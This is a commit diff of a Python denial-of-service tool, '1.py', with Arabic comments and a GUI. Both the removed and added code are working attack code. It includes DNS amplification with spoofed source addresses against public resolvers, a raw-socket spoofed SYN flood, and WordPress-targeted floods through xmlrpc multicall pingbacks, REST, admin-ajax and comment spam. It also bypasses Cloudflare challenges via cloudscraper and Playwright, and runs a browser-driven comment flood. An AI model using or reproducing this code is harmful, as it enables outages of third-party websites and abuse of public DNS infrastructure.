Speedo0o commited on
Commit
94e52b6
·
verified ·
1 Parent(s): 03ea65c

Update 1.py

Browse files
Files changed (1) hide show
  1. 1.py +258 -487
1.py CHANGED
@@ -24,13 +24,6 @@ try:
24
  except Exception:
25
  pass
26
 
27
- try:
28
- import cloudscraper
29
- CLOUDSCRAPER_AVAILABLE = True
30
- except ImportError:
31
- CLOUDSCRAPER_AVAILABLE = False
32
- print("[!] cloudscraper not installed. Run: pip install cloudscraper")
33
-
34
  required_packages = ["aiohttp", "requests", "h2", "uvloop", "aioquic", "beautifulsoup4", "curl_cffi", "scapy", "httpx", "websockets", "redis", "fastapi", "uvicorn", "apscheduler", "pywinauto"]
35
  if platform.system() == "Windows":
36
  try:
@@ -1666,115 +1659,27 @@ class TCPFingerprinter:
1666
  return sent
1667
 
1668
 
1669
- def generate_ip() -> str:
1670
- return f"{random.randint(1,254)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
1671
-
1672
-
1673
- def ip_checksum(header: bytes) -> int:
1674
- if len(header) % 2:
1675
- header += b"\x00"
1676
- total = sum(struct.unpack('!%dH' % (len(header) // 2), header))
1677
- total = (total >> 16) + (total & 0xFFFF)
1678
- total += total >> 16
1679
- return (~total) & 0xFFFF
1680
 
 
 
1681
 
1682
- class DarkAmplifier:
1683
- def __init__(self, target_ip: str, target_port: int = 53, resolver_file: str = None):
1684
- try:
1685
- self.target_ip = socket.gethostbyname(target_ip)
1686
- except Exception:
1687
- self.target_ip = target_ip
1688
- self.target_port = target_port
1689
- self.resolvers = []
1690
- self.resolver_file = resolver_file
1691
- if resolver_file and os.path.isfile(resolver_file):
1692
- self.load_resolvers_from_file(resolver_file)
1693
-
1694
- def load_resolvers_from_file(self, filepath: str):
1695
  try:
1696
- with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
1697
- self.resolvers = [line.strip() for line in f if line.strip() and not line.startswith('#')]
 
 
 
1698
  except Exception:
1699
- self.resolvers = []
1700
-
1701
- def dns_amplification(self, packet_count: int, resolver_list=None):
1702
- resolvers = resolver_list or self.resolvers or [
1703
- "8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222", "185.228.168.168",
1704
- "8.8.4.4", "149.112.112.112", "94.140.14.14", "64.6.64.6", "77.88.8.8"
1705
- ]
1706
- if not resolvers:
1707
- raise ValueError("No resolvers available for DNS amplification.")
1708
-
1709
- dns_query = (
1710
- b'\x00\x00\x81\x80\x00\x01\x00\x00\x00\x00\x00\x00' +
1711
- b'\x07' + b'example' + b'\x03' + b'com' + b'\x00' +
1712
- b'\x00\xff\x00\x01'
1713
- )
1714
- sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
1715
- sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
1716
-
1717
- for _ in range(packet_count):
1718
- src_ip = generate_ip()
1719
- ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, 0, 1500, 0x4000, 0, 64, 17, 0,
1720
- socket.inet_aton(src_ip), socket.inet_aton(self.target_ip))
1721
- checksum_value = ip_checksum(ip_header)
1722
- ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, 0, 1500, 0x4000, 0, 64, 17, checksum_value,
1723
- socket.inet_aton(src_ip), socket.inet_aton(self.target_ip))
1724
- udp_header = struct.pack('!HHHH', random.randint(1024, 65535), 53, len(dns_query) + 8, 0)
1725
- packet = ip_header + udp_header + dns_query
1726
- try:
1727
- sock.sendto(packet, (random.choice(resolvers), 53))
1728
- except Exception:
1729
- pass
1730
-
1731
-
1732
- def syn_volcano(host: str, port: int, duration: int):
1733
- socks = []
1734
- for _ in range(100):
1735
- try:
1736
- s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
1737
- s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
1738
- socks.append(s)
1739
- except PermissionError:
1740
- break
1741
- if not socks:
1742
- return
1743
-
1744
- end = time.time() + duration
1745
- while time.time() < end:
1746
- for s in socks:
1747
- ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, 0, 40, 0, random.randint(1, 10), 6, 0,
1748
- socket.inet_aton(generate_ip()), socket.inet_aton(host))
1749
- tcp_header = struct.pack('!HHLLBBHHH', random.randint(1, 65535), port, 0, 0, 0x50, 0x02, 65535, 0, 0)
1750
- try:
1751
- s.sendto(ip_header + tcp_header, (host, port))
1752
- except Exception:
1753
- pass
1754
-
1755
-
1756
- def get_ns_servers(domain: str):
1757
- try:
1758
- import dns.resolver
1759
- answers = dns.resolver.resolve(domain, 'NS')
1760
- return [str(r).rstrip('.') for r in answers]
1761
- except Exception:
1762
- return []
1763
-
1764
-
1765
- def dns_amplification_attack(target_ip: str, target_port: int = 53, count: int = 1000, resolver_list=None):
1766
- """هجوم تضخيم DNS على مستوى Raw Socket (يتطلب صلاحيات Admin)."""
1767
- amplifier = DarkAmplifier(target_ip, target_port)
1768
- if resolver_list:
1769
- amplifier.resolvers = resolver_list
1770
- try:
1771
- amplifier.dns_amplification(count, resolver_list)
1772
- except PermissionError as e:
1773
- print(f"[!] DNS amplification requires Admin raw socket privileges: {e}")
1774
- except Exception as exc:
1775
- print(f"[!] DNS amplification failed: {exc}")
1776
- else:
1777
- print(f"[+] DNS Amplification launched against {target_ip}")
1778
 
1779
  class VPNRotator:
1780
  WARP_CLI_PATHS = [
@@ -1849,7 +1754,171 @@ class VPNRotator:
1849
 
1850
 
1851
  def get_playwright_clearance(url: str, identity: SessionIdentity = None) -> dict[str, str]:
1852
- return {}
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1853
 
1854
  # ============================================================================
1855
  # دوال مساعدة لـ HTTP والهجمات الكلاسيكية
@@ -2810,90 +2879,54 @@ class OptimizedConnectionPool:
2810
 
2811
 
2812
  class EnhancedPlaywrightBypass:
 
 
2813
  @staticmethod
2814
- def solve_js_challenge(url: str, headless: bool = False, timeout: int = 120) -> dict:
2815
  result = {"headers": {}, "cookie_header": "", "content": ""}
2816
  try:
2817
- from playwright.sync_api import sync_playwright, TimeoutError as PlaywrightTimeout
 
2818
  with sync_playwright() as p:
2819
- browser = p.chromium.launch(
2820
- headless=headless,
2821
- args=["--disable-blink-features=AutomationControlled"]
2822
- )
2823
- context = browser.new_context(
2824
- user_agent=random.choice(USER_AGENTS),
2825
- locale="en-US,en;q=0.9",
2826
- viewport={"width": 1366, "height": 768}
2827
- )
2828
  page = context.new_page()
2829
- page.add_init_script("Object.defineProperty(navigator, 'webdriver', {get: () => undefined})")
2830
-
2831
- print("[JS] Opening browser. Please solve the Cloudflare challenge manually if it appears...")
2832
- page.goto(url, wait_until="domcontentloaded", timeout=timeout * 1000)
2833
-
2834
  try:
2835
- page.wait_for_selector("#challenge-stage", state="hidden", timeout=30000)
2836
  except Exception:
2837
  pass
2838
-
2839
- time.sleep(3)
2840
-
 
 
 
 
 
 
 
 
 
2841
  cookies = context.cookies()
2842
- cf_clearance = next((c["value"] for c in cookies if c["name"] == "cf_clearance"), "")
2843
- cf_bm = next((c["value"] for c in cookies if c["name"] == "__cf_bm"), "")
2844
-
2845
- if cf_clearance:
2846
- result["cookie_header"] = f"cf_clearance={cf_clearance}; __cf_bm={cf_bm}"
2847
- print("[JS] cf_clearance obtained successfully!")
2848
- else:
2849
- print("[JS] No cf_clearance found. Check if you solved the challenge.")
2850
-
2851
  browser.close()
2852
- except Exception as e:
2853
- print(f"[JS] Error: {e}")
2854
  return result
2855
 
2856
 
2857
- def get_cf_clearance(url: str, headless: bool = False) -> str:
2858
- result = EnhancedPlaywrightBypass.solve_js_challenge(url, headless=headless)
2859
- return result.get("cookie_header", "")
2860
-
2861
-
2862
- def get_cloudscraper_cookies(url: str) -> str:
2863
- """الحصول على cf_clearance باستخدام cloudscraper (أسرع وأقوى من Playwright)"""
2864
- if not CLOUDSCRAPER_AVAILABLE:
2865
- return ""
2866
- try:
2867
- scraper = cloudscraper.create_scraper(
2868
- browser={
2869
- 'browser': 'chrome',
2870
- 'platform': 'windows',
2871
- 'desktop': True,
2872
- 'mobile': False
2873
- },
2874
- interpreter='python'
2875
- )
2876
- headers = {
2877
- 'User-Agent': random.choice(USER_AGENTS),
2878
- 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
2879
- 'Accept-Language': 'en-US,en;q=0.9',
2880
- 'Accept-Encoding': 'gzip, deflate, br',
2881
- 'Connection': 'keep-alive',
2882
- }
2883
- resp = scraper.get(url, headers=headers, timeout=30)
2884
-
2885
- if resp.status_code == 200:
2886
- cookies = resp.cookies.get_dict()
2887
- cf_clearance = cookies.get('cf_clearance', '')
2888
- cf_bm = cookies.get('__cf_bm', '')
2889
- if cf_clearance:
2890
- print(f"[JS] cloudscraper got cf_clearance: {cf_clearance[:20]}...")
2891
- return f"cf_clearance={cf_clearance}; __cf_bm={cf_bm}"
2892
- return ""
2893
- except Exception as e:
2894
- print(f"[JS] cloudscraper error: {e}")
2895
- return ""
2896
-
2897
 
2898
  def http_flood(url: str, total_requests: int, workers: int, method: str, payload: str, rate: float, duration: float, extra_headers: bool, use_playwright: bool, keepalive: bool, random_query: bool, app_mode: bool, logger, identity_pool: IdentityPool = None, human_timing: bool = False, use_cffi: bool = False, tcp_spoof: bool = False, ai_payload: bool = False, use_js_bypass: bool = False):
2899
  mode_name = "http-app" if app_mode else "http"
@@ -3399,82 +3432,6 @@ def print_evasion_report(identity_pool=None, use_tcp_spoof=False, use_cffi=False
3399
 
3400
 
3401
 
3402
- class WordPressBypassEngine:
3403
- """محرك متخصص لاختراق ووردبريس عبر ثغرات منطقية متعددة"""
3404
-
3405
- def __init__(self, target_host):
3406
- self.host = target_host
3407
- self.scheme = "https"
3408
- self.last_post_id = random.randint(1, 500)
3409
- self.attack_index = 0
3410
- self.endpoints = [
3411
- self._xmlrpc_attack,
3412
- self._rest_api_attack,
3413
- self._ajax_attack,
3414
- self._comment_attack,
3415
- ]
3416
-
3417
- def get_next_payload(self):
3418
- """دور بين 4 أنواع هجوم مختلفة لتجنب النمطية"""
3419
- self.attack_index = (self.attack_index + 1) % len(self.endpoints)
3420
- return self.endpoints[self.attack_index]()
3421
-
3422
- def _xmlrpc_attack(self):
3423
- """XML-RPC Multipayload - يستهلك CPU ويصعب تحليله"""
3424
- path = "/xmlrpc.php"
3425
- multicall = []
3426
- for _ in range(20):
3427
- multicall.append({
3428
- "methodName": "pingback.ping",
3429
- "params": [
3430
- f"https://{random.choice(['google.com', 'bing.com', 'example.com'])}",
3431
- f"{self.scheme}://{self.host}/{random.randint(1,999)}"
3432
- ]
3433
- })
3434
- payload = f"""<?xml version="1.0"?>
3435
- <methodCall>
3436
- <methodName>system.multicall</methodName>
3437
- <params><param><value><array><data>
3438
- {''.join([f'<value><struct><member><name>methodName</name><value><string>{m["methodName"]}</string></value></member><member><name>params</name><value><array><data><value><string>{m["params"][0]}</string></value><value><string>{m["params"][1]}</string></value></data></array></value></member></struct></value>' for m in multicall])}
3439
- </data></array></value></param></params>
3440
- </methodCall>"""
3441
- return path, payload, "text/xml"
3442
-
3443
- def _rest_api_attack(self):
3444
- """REST API - يستهلك قاعدة البيانات"""
3445
- path = f"/wp-json/wp/v2/posts?per_page={random.randint(50,100)}&page={random.randint(1,20)}"
3446
- return path, "", "application/json"
3447
-
3448
- def _ajax_attack(self):
3449
- """Admin AJAX - يحاكي طلبات حقيقية من الواجهة"""
3450
- actions = ["wp_ajax_nopriv_", "heartbeat", "query-attachments", "get-comments"]
3451
- action = random.choice(actions) + str(random.randint(1, 999))
3452
- path = f"/wp-admin/admin-ajax.php?action={action}&_wpnonce={hashlib.md5(str(random.random()).encode()).hexdigest()[:10]}"
3453
- payload = f"post_id={random.randint(1,500)}&comment_parent=0&comment={''.join(random.choices(['Nice','Great','Thanks','Awesome','Informative'], k=random.randint(3,8)))}"
3454
- return path, payload, "application/x-www-form-urlencoded"
3455
-
3456
- def _comment_attack(self):
3457
- """تعليق وهمي مع محاولة تخمين الـ Nonce"""
3458
- path = "/wp-comments-post.php"
3459
- self.last_post_id = random.randint(1, 500)
3460
- comment_text = ' '.join(random.choices([
3461
- 'Great article!', 'Very informative.', 'I totally agree with your point.',
3462
- 'Thanks for sharing this.', 'This is really helpful.', 'Interesting perspective.',
3463
- 'Well written!', 'Looking forward to more content.', 'I have a question about this.'
3464
- ], k=random.randint(2,5)))
3465
-
3466
- payload = urllib.parse.urlencode({
3467
- 'author': random.choice(['Ahmed', 'Mohamed', 'Omar', 'Sara', 'John', 'Emma', 'Liam']),
3468
- 'email': f'user_{random.randint(1000,9999)}@{random.choice(["gmail.com","yahoo.com","outlook.com"])}',
3469
- 'url': f'https://{random.choice(["example.com","blogger.com","wordpress.org"])}',
3470
- 'comment': comment_text,
3471
- 'comment_post_ID': str(self.last_post_id),
3472
- 'comment_parent': '0',
3473
- 'submit': 'Post Comment'
3474
- })
3475
- return path, payload, "application/x-www-form-urlencoded"
3476
-
3477
-
3478
  class UltimateIntegratedEngine:
3479
  def __init__(self, target: str, threads: int = 1000, duration: int = 0,
3480
  use_identities: bool = True, use_human_timing: bool = True,
@@ -3497,7 +3454,6 @@ class UltimateIntegratedEngine:
3497
  self.max_requests = max(0, total_requests)
3498
  self.max_load = max_load
3499
  self.attack_mode = attack_mode.lower()
3500
- self.wordpress_mode = 'wp-' in target or '/feed/' in target or 'wp-json' in target
3501
  self.running = False
3502
  self.stop_requested = False
3503
  self.stats = defaultdict(int)
@@ -3525,12 +3481,6 @@ class UltimateIntegratedEngine:
3525
  self.use_cffi = use_cffi and CURL_CFFI_AVAILABLE
3526
  self.use_js_bypass = use_js_bypass and PLAYWRIGHT_AVAILABLE
3527
  self.use_http2 = use_http2
3528
- self.dns_amplify = kwargs.get('dns_amplify', False)
3529
- self.ns_attack = kwargs.get('ns_attack', False)
3530
- self.impersonate_list = ["chrome124", "chrome120", "firefox125", "safari17_0"]
3531
- self.current_impersonate = random.choice(self.impersonate_list)
3532
- self._cf_cookie = ""
3533
- self.request_count = 0
3534
  self.vpn_rotator = None
3535
  if vpn_mode and vpn_mode != "System Default":
3536
  self.vpn_rotator = VPNRotator(vpn_mode=vpn_mode, interval_seconds=300)
@@ -3581,15 +3531,9 @@ class UltimateIntegratedEngine:
3581
  timeout = aiohttp.ClientTimeout(total=10, connect=5, sock_read=5)
3582
  self.session = aiohttp.ClientSession(connector=conn, timeout=timeout, trust_env=False)
3583
  if self.use_cffi and CURL_CFFI_AVAILABLE:
3584
- for _ in range(10):
3585
- for imp in self.impersonate_list:
3586
- self.cffi_clients.append(
3587
- cffi_requests.AsyncSession(
3588
- impersonate=imp,
3589
- verify=False,
3590
- timeout=8
3591
- )
3592
- )
3593
  await self._create_httpx_client()
3594
  async def _create_httpx_client(self):
3595
  if not HTTPX_AVAILABLE or not self.use_http2:
@@ -3604,117 +3548,9 @@ class UltimateIntegratedEngine:
3604
  self.httpx_client = httpx.AsyncClient(http2=True, limits=limits, timeout=timeout, verify=False, follow_redirects=True, trust_env=False)
3605
  self._log(f"[⚡] HTTP/2 multiplexer: {max_httpx_connections} streams, {max_keepalive} keep-alive.", "INFO")
3606
 
3607
- async def _browser_worker(self, worker_id: int):
3608
- """Worker يستخدم متصفح حقيقي لإرسال الطلبات"""
3609
- from playwright.async_api import async_playwright
3610
-
3611
- async with async_playwright() as p:
3612
- browser = await p.chromium.launch(headless=True, args=["--disable-blink-features=AutomationControlled"])
3613
- context = await browser.new_context(
3614
- user_agent=random.choice(USER_AGENTS),
3615
- viewport={"width": random.randint(1366, 1920), "height": random.randint(768, 1080)},
3616
- locale="en-US,en;q=0.9"
3617
- )
3618
- page = await context.new_page()
3619
-
3620
- await page.goto(f"https://{self.host}/", wait_until="networkidle")
3621
- await page.wait_for_selector("body :not(script)", state="visible", timeout=30000)
3622
-
3623
- cookies = await context.cookies()
3624
- cf_clearance = next((c["value"] for c in cookies if c["name"] == "cf_clearance"), "")
3625
- if cf_clearance:
3626
- self._log("[Browser] cf_clearance captured.", "SUCCESS")
3627
-
3628
- while self.running and not self.stop_requested:
3629
- try:
3630
- comment_data = {
3631
- 'author': random.choice(['Ahmed', 'Mohamed', 'Omar', 'Sara']),
3632
- 'email': f'user{random.randint(1000,9999)}@{random.choice(["gmail.com","yahoo.com"])}',
3633
- 'comment': ' '.join(random.choices(['Nice post!', 'Thanks for sharing.', 'Great content!'], k=2)),
3634
- 'comment_post_ID': str(random.randint(1, 500)),
3635
- 'submit': 'Post Comment'
3636
- }
3637
-
3638
- await page.evaluate(f"""
3639
- fetch('https://{self.host}/wp-comments-post.php', {{
3640
- method: 'POST',
3641
- headers: {{
3642
- 'Content-Type': 'application/x-www-form-urlencoded',
3643
- 'Referer': 'https://{self.host}/',
3644
- 'Origin': 'https://{self.host}/'
3645
- }},
3646
- body: new URLSearchParams({comment_data})
3647
- }})
3648
- """)
3649
-
3650
- with self.lock:
3651
- self.stats['total'] += 1
3652
-
3653
- await asyncio.sleep(random.uniform(0.5, 2.0))
3654
- except Exception as e:
3655
- self._log(f"[Browser] Worker {worker_id} error: {e}", "ERROR")
3656
- await asyncio.sleep(5)
3657
-
3658
- await browser.close()
3659
-
3660
  async def _attack_worker(self, worker_id: int):
3661
- try:
3662
- if worker_id == 0:
3663
- try:
3664
- ip = socket.gethostbyname(self.host)
3665
- self._log(f"[DNS] Resolved {self.host} -> {ip}", "INFO")
3666
- except Exception as e:
3667
- self._log(f"[DNS] Resolution failed: {e}. Trying fallback...", "ERROR")
3668
- import subprocess
3669
- try:
3670
- ip = subprocess.check_output(["nslookup", self.host]).decode().split()[-1]
3671
- self._log(f"[DNS] Fallback resolved to {ip}", "INFO")
3672
- except Exception:
3673
- self._log("[DNS] FATAL: Cannot resolve host. Attack will fail.", "ERROR")
3674
- self.stop_requested = True
3675
- return
3676
-
3677
- if worker_id == 0 and self.use_js_bypass:
3678
- self._log("[JS] Trying cloudscraper for clearance...", "INFO")
3679
- cookie = get_cloudscraper_cookies(self.target)
3680
- if cookie:
3681
- self._cf_cookie = cookie
3682
- self._log("[JS] ✅ CLEARANCE OBTAINED via cloudscraper!", "SUCCESS")
3683
- try:
3684
- test_headers = {"Cookie": cookie, "User-Agent": random.choice(USER_AGENTS)}
3685
- async with aiohttp.ClientSession() as session:
3686
- async with session.get(self.target, headers=test_headers, ssl=False, timeout=10) as resp:
3687
- self._log(f"[JS] Test request returned: {resp.status}", "INFO")
3688
- except Exception:
3689
- pass
3690
- else:
3691
- self._log("[JS] cloudscraper failed. Trying Playwright fallback...", "WARNING")
3692
- retries = 0
3693
- while retries < 3 and not hasattr(self, '_cf_cookie'):
3694
- try:
3695
- result = EnhancedPlaywrightBypass.solve_js_challenge(self.target, headless=False)
3696
- if result.get("cookie_header"):
3697
- self._cf_cookie = result["cookie_header"]
3698
- self._log("[JS] ✅ CLEARANCE OBTAINED via Playwright!", "SUCCESS")
3699
- break
3700
- else:
3701
- retries += 1
3702
- self._log(f"[JS] Retry {retries}/3...", "WARNING")
3703
- await asyncio.sleep(5)
3704
- except Exception as e:
3705
- self._log(f"[JS] Error: {e}", "ERROR")
3706
- retries += 1
3707
- await asyncio.sleep(5)
3708
-
3709
- if not hasattr(self, '_cf_cookie') or not self._cf_cookie:
3710
- self._log("[JS] ❌ Failed to get clearance. Attack will likely get 403.", "ERROR")
3711
-
3712
- while self.running and not self.stop_requested:
3713
- with self.lock:
3714
- self.request_count += 1
3715
- if self.request_count % 100 == 0:
3716
- self.current_impersonate = random.choice(self.impersonate_list)
3717
-
3718
  identity = None
3719
  if self.identity_pool:
3720
  identity = self.identity_pool.get_identity()
@@ -3731,8 +3567,6 @@ class UltimateIntegratedEngine:
3731
  for h in ["Connection", "Keep-Alive", "Transfer-Encoding", "Host"]:
3732
  headers.pop(h, None)
3733
  headers.update(self._get_platform_headers())
3734
- if hasattr(self, '_cf_cookie') and self._cf_cookie:
3735
- headers["Cookie"] = self._cf_cookie
3736
  if "Host" in headers:
3737
  del headers["Host"]
3738
  if "host" in headers:
@@ -3746,11 +3580,7 @@ class UltimateIntegratedEngine:
3746
  target_host = self.host
3747
  target_port = self.port
3748
  if self.attack_mode == "tcp_syn":
3749
- duration_seconds = max(10, self.duration or 10)
3750
- if IS_ADMIN:
3751
- threading.Thread(target=syn_volcano, args=(target_host, target_port, duration_seconds), daemon=True).start()
3752
- else:
3753
- threading.Thread(target=flooder, args=(target_host, target_port, random._urandom(4096), datetime.datetime.now() + datetime.timedelta(seconds=duration_seconds)), daemon=True).start()
3754
  elif self.attack_mode == "mine":
3755
  threading.Thread(target=mine, args=(target_host, target_port, b"\x06\x00/\x00\x00\x00\x02\x0c\x00", datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10))), daemon=True).start()
3756
  elif self.attack_mode == "vse":
@@ -3766,64 +3596,23 @@ class UltimateIntegratedEngine:
3766
  await asyncio.sleep(0.001)
3767
  continue
3768
  path = self.path
 
 
 
 
 
3769
  method = self.http_method
3770
  data = None
3771
- if self.max_load:
3772
- if self.dns_amplify and worker_id % 15 == 0 and IS_ADMIN:
3773
- threading.Thread(target=dns_amplification_attack, args=(self.host, 53, 200), daemon=True).start()
3774
- if self.ns_attack and worker_id == 0 and random.random() < 0.05:
3775
- ns_servers = get_ns_servers(self.host)
3776
- for ns_host in ns_servers:
3777
- try:
3778
- ns_ip = socket.gethostbyname(ns_host)
3779
- threading.Thread(target=dns_amplification_attack, args=(ns_ip, 53, 150), daemon=True).start()
3780
- except Exception:
3781
- pass
3782
- if self.wordpress_mode:
3783
- if not hasattr(self, 'wp_engine'):
3784
- self.wp_engine = WordPressBypassEngine(self.host)
3785
- wp_path, wp_payload, content_type = self.wp_engine.get_next_payload()
3786
- path = wp_path
3787
- if 'xmlrpc' in path:
3788
- data = wp_payload.encode('utf-8')
3789
- headers["Content-Type"] = "text/xml"
3790
- headers["Content-Length"] = str(len(data))
3791
- elif 'admin-ajax' in path:
3792
- data = wp_payload.encode('utf-8')
3793
- headers["Content-Type"] = "application/x-www-form-urlencoded"
3794
- headers["X-Requested-With"] = "XMLHttpRequest"
3795
- headers["Referer"] = f"{self.scheme}://{self.host}/"
3796
- elif 'wp-json' in path:
3797
- data = None
3798
- headers["Accept"] = "application/json, text/javascript, */*; q=0.01"
3799
- headers["Referer"] = f"{self.scheme}://{self.host}/"
3800
- else:
3801
- data = wp_payload.encode('utf-8')
3802
- headers["Content-Type"] = "application/x-www-form-urlencoded"
3803
- headers["Referer"] = f"{self.scheme}://{self.host}/"
3804
- headers["Origin"] = f"{self.scheme}://{self.host}"
3805
- else:
3806
- if self.random_query:
3807
- if '?' in path:
3808
- path += f"&_{random.randint(1,999999)}"
3809
- else:
3810
- path += f"?_{random.randint(1,999999)}"
3811
- if self.http_method == "POST":
3812
- body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"]))
3813
- headers["Content-Type"] = "application/json"
3814
- data = body.encode('utf-8')
3815
- else:
3816
- data = None
3817
- else:
3818
- if self.random_query:
3819
- if '?' in path:
3820
- path += f"&_{random.randint(1,999999)}"
3821
- else:
3822
- path += f"?_{random.randint(1,999999)}"
3823
- if self.http_method == "POST":
3824
- body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"]))
3825
- headers["Content-Type"] = "application/json"
3826
- data = body.encode('utf-8')
3827
  url = f"{self.scheme}://{self.host}{path}"
3828
  if self.use_js_bypass:
3829
  url = add_api_bypass(url)
@@ -3885,15 +3674,13 @@ class UltimateIntegratedEngine:
3885
  self.proxy_engine.mark_dead(_raw_proxy)
3886
  continue # retry with different proxy
3887
  break # success or non-proxy 403, don't retry
3888
- except asyncio.CancelledError:
3889
- raise
3890
- except Exception as e:
3891
- if self.stop_requested:
3892
- raise
3893
- self._log(f"[!] Worker {worker_id} CRASH: {e}", "ERROR")
3894
- import traceback
3895
- self._log(traceback.format_exc(), "ERROR")
3896
- await asyncio.sleep(1)
3897
  async def _handle_response(self, status: int, content_len: int = 0, latency_ms: float = 0.0):
3898
  with self.lock:
3899
  self.stats[f'status_{status}'] += 1
@@ -3943,11 +3730,7 @@ class UltimateIntegratedEngine:
3943
  self._log(f"[!] HTTP/2 disabled because requested threads ({self.requested_threads}) exceed 100. Using HTTP/1.1 for stability.", "WARNING")
3944
  self._log(f"🔥 Starting integrated attack on {self.target}", "ATTACK")
3945
  self._log(f"🧵 Threads: {self.threads} | Duration: {self.duration}s", "INFO")
3946
- if self.attack_mode == "browser":
3947
- self._log("🌐 Starting browser-based flood (real browsers)...", "ATTACK")
3948
- workers = [asyncio.create_task(self._browser_worker(i)) for i in range(min(self.threads, 50))]
3949
- else:
3950
- workers = [asyncio.create_task(self._attack_worker(i)) for i in range(self.threads)]
3951
  self.workers = workers
3952
  self.loop = asyncio.get_running_loop()
3953
  try:
@@ -4040,8 +3823,6 @@ class UltimateIntegratedGUI:
4040
  self.use_tcp_spoof = tk.BooleanVar(value=True)
4041
  self.use_ai_payload = tk.BooleanVar(value=True)
4042
  self.use_captcha = tk.BooleanVar(value=True)
4043
- self.dns_amplify = tk.BooleanVar(value=False)
4044
- self.ns_attack = tk.BooleanVar(value=False)
4045
 
4046
  self.use_keepalive = tk.BooleanVar(value=True)
4047
  self.use_http2 = tk.BooleanVar(value=False)
@@ -4213,6 +3994,8 @@ class UltimateIntegratedGUI:
4213
  self.auto_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
4214
  self.stop_btn = ttk.Button(control_buttons, text='STOP', command=self.stop_attack, style='Danger.TButton', state=tk.DISABLED)
4215
  self.stop_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
 
 
4216
 
4217
  options_card = ttk.Labelframe(left_panel, text='Quick Options', padding=14, style='Card.TLabelframe')
4218
  options_card.pack(fill=tk.X, expand=False, pady=(12, 0))
@@ -4224,8 +4007,6 @@ class UltimateIntegratedGUI:
4224
  ('Human Timing', self.use_human_timing),
4225
  ('TLS Spoof', self.use_cffi),
4226
  ('JS Bypass (API)', self.use_js_bypass),
4227
- ('DNS Amplify', self.dns_amplify),
4228
- ('NS Attack', self.ns_attack),
4229
  ('TCP Spoof', self.use_tcp_spoof),
4230
  ('AI Payload', self.use_ai_payload),
4231
  ('CAPTCHA', self.use_captcha),
@@ -4347,33 +4128,25 @@ class UltimateIntegratedGUI:
4347
  self.log(f"📁 Proxy file loaded: {filename}", "INFO")
4348
  def set_max_load(self):
4349
  self.mode_var.set("Integrated")
4350
- self.threads.set(1500)
4351
  self.duration.set(0)
4352
- self.requests.set(0)
4353
- self.method.set("POST")
4354
  self.request_rate.set(0)
4355
  self.vpn_mode.set("System Default")
4356
-
4357
  self.use_identities.set(True)
4358
- self.use_human_timing.set(True)
4359
  self.use_cffi.set(True)
4360
- self.use_js_bypass.set(True)
4361
- self.use_tcp_spoof.set(False)
4362
  self.use_ai_payload.set(True)
4363
  self.use_captcha.set(False)
 
4364
  self.use_keepalive.set(True)
4365
- self.use_http2.set(False)
4366
- self.use_random_query.set(True)
4367
  self.max_load.set(True)
4368
-
4369
- self.dns_amplify_var = tk.BooleanVar(value=False)
4370
- self.ns_attack_var = tk.BooleanVar(value=False)
4371
- self.dns_amplify.set(False)
4372
- self.ns_attack.set(False)
4373
-
4374
- if hasattr(self, 'current_impersonate'):
4375
- self.current_impersonate = random.choice(self.impersonate_list)
4376
- self.log("🧠 SMART MAX LOAD ACTIVATED: 1500 Workers, 4-Vector WP Attack, JS Bypass ON, TLS Spoof ON.", "SUCCESS")
4377
 
4378
  def _find_executable(self, names, extra_paths=None):
4379
  found = []
@@ -5070,8 +4843,6 @@ class UltimateIntegratedGUI:
5070
  use_tcp_spoof=self.use_tcp_spoof.get(),
5071
  use_ai_payload=self.use_ai_payload.get(),
5072
  use_captcha=self.use_captcha.get(),
5073
- dns_amplify=self.dns_amplify.get(),
5074
- ns_attack=self.ns_attack.get(),
5075
 
5076
  keepalive=self.use_keepalive.get(),
5077
  use_http2=self.use_http2.get(),
 
24
  except Exception:
25
  pass
26
 
 
 
 
 
 
 
 
27
  required_packages = ["aiohttp", "requests", "h2", "uvloop", "aioquic", "beautifulsoup4", "curl_cffi", "scapy", "httpx", "websockets", "redis", "fastapi", "uvicorn", "apscheduler", "pywinauto"]
28
  if platform.system() == "Windows":
29
  try:
 
1659
  return sent
1660
 
1661
 
1662
+ def dns_amplification_attack(target_ip: str, target_port: int = 53, count: int = 1000):
1663
+ """هجوم تضخيم DNS (يتطلب صلاحيات Admin لـ Spoofing)"""
1664
+ if not SCAPY_AVAILABLE:
1665
+ print("[!] Scapy missing for DNS amplification")
1666
+ return
1667
+ from scapy.all import IP, UDP, DNS, DNSQR, send
 
 
 
 
 
1668
 
1669
+ resolvers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222", "185.228.168.168"]
1670
+ domains = ["isc.org", "google.com", "microsoft.com", "facebook.com", "cloudflare.com"]
1671
 
1672
+ sent = 0
1673
+ for _ in range(count):
 
 
 
 
 
 
 
 
 
 
 
1674
  try:
1675
+ pkt = IP(src=target_ip, dst=random.choice(resolvers)) / \
1676
